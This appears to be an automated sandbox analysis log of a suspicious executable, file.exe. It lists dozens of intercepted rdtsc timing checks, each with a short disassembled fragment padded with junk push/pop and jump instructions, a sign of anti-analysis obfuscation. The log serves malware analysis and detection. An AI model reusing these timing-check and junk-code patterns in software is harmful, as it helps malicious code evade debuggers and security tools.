Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B756 second address: F4B77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnp 00007FDDF0E482B6h 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 jo 00007FDDF0E482BCh 0x00000017 jns 00007FDDF0E482B6h 0x0000001d pop ebx 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B77E second address: F4B782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B782 second address: F4B788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FA27 second address: F4FA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCD6 second address: F4FCDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCDA second address: F4FCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCE0 second address: F4FCF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDF0E482BAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCF2 second address: F4FCF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCF8 second address: F4FCFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FCFD second address: F4FD0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jg 00007FDDF0723BD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FD0D second address: F4FD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FD1C second address: F4FD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FD22 second address: F4FD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4FD26 second address: F4FD3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FDDF0723BDEh 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007FDDF0723BD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50280 second address: F50297 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDDF0E482BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F50297 second address: F502AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BDBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F502AB second address: F502AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F503EC second address: F503F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F503F1 second address: F503F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F503F7 second address: F50401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDDF0723BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54A88 second address: F54A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54A8E second address: F54AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FDDF0723BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 jns 00007FDDF0723BDCh 0x00000019 pushad 0x0000001a jnl 00007FDDF0723BD6h 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jnp 00007FDDF0723BD6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54F0A second address: F54F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jo 00007FDDF0E482B6h 0x0000000c jmp 00007FDDF0E482BEh 0x00000011 jmp 00007FDDF0E482C8h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54F3D second address: F54F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54F43 second address: F54F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54F5F second address: F54F7C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FDDF0723BD6h 0x0000000e jmp 00007FDDF0723BDFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54F7C second address: F54F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F550FB second address: F55101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F553D4 second address: F553E5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDF0E482BCh 0x00000008 jbe 00007FDDF0E482B6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55532 second address: F55537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55ABC second address: F55AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55AC6 second address: F55ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55ACC second address: F55AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55AE4 second address: F55AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FDDF0723BD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55AF2 second address: F55B1A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jbe 00007FDDF0E482B6h 0x00000011 jmp 00007FDDF0E482C0h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 push ebx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55B1A second address: F55B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55B1F second address: F55B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDDF0E482B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5923E second address: F59244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59244 second address: F59248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59248 second address: F5924E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5924E second address: F59254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A887 second address: F5A893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDDF0723BD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A893 second address: F5A897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A897 second address: F5A8DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FDDF0723BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FDDF0723BDAh 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jmp 00007FDDF0723BE5h 0x00000022 pop esi 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 jg 00007FDDF0723BD6h 0x0000002c jo 00007FDDF0723BD6h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60A27 second address: F60A2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60A2F second address: F60A3A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007FDDF0723BD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60A3A second address: F60A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007FDDF0E482BAh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60A53 second address: F60A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDF0723BE9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F75B second address: F5F75F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CA2F second address: F1CA33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1CEEA second address: F1CEEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D0F0 second address: F1D101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0723BDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D101 second address: F1D136 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jp 00007FDDF0E482B8h 0x0000000f sub dword ptr [ebp+122D2C9Ah], esi 0x00000015 call 00007FDDF0E482B9h 0x0000001a pushad 0x0000001b jc 00007FDDF0E482B8h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDDF0E482BAh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D2B7 second address: F1D2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D2BB second address: F1D2C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D2C1 second address: F1D2C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D434 second address: F1D438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D534 second address: F1D564 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDDF0723BE4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D564 second address: F1D569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D69F second address: F1D6A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDDF0723BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DAE6 second address: F1DAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DAEA second address: F1DAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC55 second address: F1DC6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDDF0E482BAh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC6C second address: F1DC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC70 second address: F1DC7A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DC7A second address: F1DC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0723BE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DF35 second address: F1DF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push esi 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DF40 second address: F1DFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FDDF0723BD8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov dh, E9h 0x00000023 sub dword ptr [ebp+122D1912h], edx 0x00000029 lea eax, dword ptr [ebp+12480792h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FDDF0723BD8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 nop 0x0000004a je 00007FDDF0723BF8h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DFA2 second address: F1DFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DFA6 second address: F1DFCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FDDF0723BD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DFCB second address: F1DFD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DFD1 second address: F05888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007FDDF0723BD6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jp 00007FDDF0723BDCh 0x00000013 call dword ptr [ebp+12454124h] 0x00000019 push edi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FC46 second address: F5FC4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F601A1 second address: F601C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FDDF0723BE5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F601C1 second address: F601D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F603A3 second address: F603A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F603A9 second address: F603ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FDDF0E482C2h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDF0E482C6h 0x00000013 jmp 00007FDDF0E482C4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F603ED second address: F603F7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDF0723BDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F603F7 second address: F60402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60566 second address: F6058B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007FDDF0723BD6h 0x00000009 jmp 00007FDDF0723BE1h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jnl 00007FDDF0723BD6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6223F second address: F6224A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDDF0E482B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6224A second address: F62278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE7h 0x00000007 pushad 0x00000008 jmp 00007FDDF0723BE2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6695E second address: F66962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66BB6 second address: F66C09 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDDF0723BD6h 0x00000008 jnp 00007FDDF0723BD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007FDDF0723BDCh 0x00000016 push ebx 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a jmp 00007FDDF0723BE1h 0x0000001f jc 00007FDDF0723BD6h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FDDF0723BE7h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66C09 second address: F66C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66C0D second address: F66C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F672B0 second address: F672B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F672B8 second address: F672C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67592 second address: F67598 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F67598 second address: F6759E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AEC3 second address: F6AED9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDF0E482B6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FDDF0E482B6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AED9 second address: F6AEDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AEDD second address: F6AEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDDF0E482B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AEE9 second address: F6AF13 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDF0723BD8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FDDF0723BE9h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6AF13 second address: F6AF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9B3 second address: F6D9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
